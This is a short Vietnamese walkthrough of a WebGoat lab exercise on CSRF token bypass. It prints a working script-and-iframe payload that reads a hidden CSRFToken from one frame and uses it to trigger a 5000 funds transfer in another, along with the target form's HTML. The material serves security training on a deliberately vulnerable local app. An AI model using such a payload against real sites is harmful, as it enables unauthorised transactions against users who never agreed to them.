**Kịch bản:** Tương tự câu trên, ở đây ta phải lấy thêm được Token để xác mình sau đó mới có thể thực hiện mục đích chuyển khoản

**Mục tiêu:** Lấy được Token thực thi lệnh chuyển khoản

**Tiến hành:** Theo hướng dẫn code thực thi ở phần message là

<script>var tokensuffix;function readFrame1(){var frameDoc = document.getElementById("frame1").contentDocument;var form = frameDoc.getElementsByTagName("form")[0];tokensuffix = '&CSRFToken=' + form.CSRFToken.value;loadFrame2();}function loadFrame2(){var testFrame = document.getElementById("frame2");testFrame.src="http://localhost:8080/WebGoat/attack?Screen=XXX&menu=YYY&transferFunds=5000" + tokensuffix;}</script><iframe src="http://localhost:8080/WebGoat/attack?Screen=XXX&menu=YYY&transferFunds=main"onload="readFrame1();"id="frame1" frameborder="1" marginwidth="0"marginheight="0" width="800" scrolling=yes height="300"></iframe><iframe id="frame2" frameborder="1" marginwidth="0"marginheight="0" width="800" scrolling=yes height="300"></iframe>

Và ở Tittle là

<form accept-charset='UNKNOWN' id='transferForm' method='POST' action='attack?Screen=XXX&menu=YYY' enctype='application/x-www-form-urlencoded'> <input name='transferFunds' type='text' value='0'> <input name='CSRFToken' type='hidden' value='1745740650'> <input type='submit'> </form>

Theo đó ta có thể lấy được giá trị tại 'CSRFToken' và dùng chính nó để gửi đi ở Tittle và nhận kết quả tại message

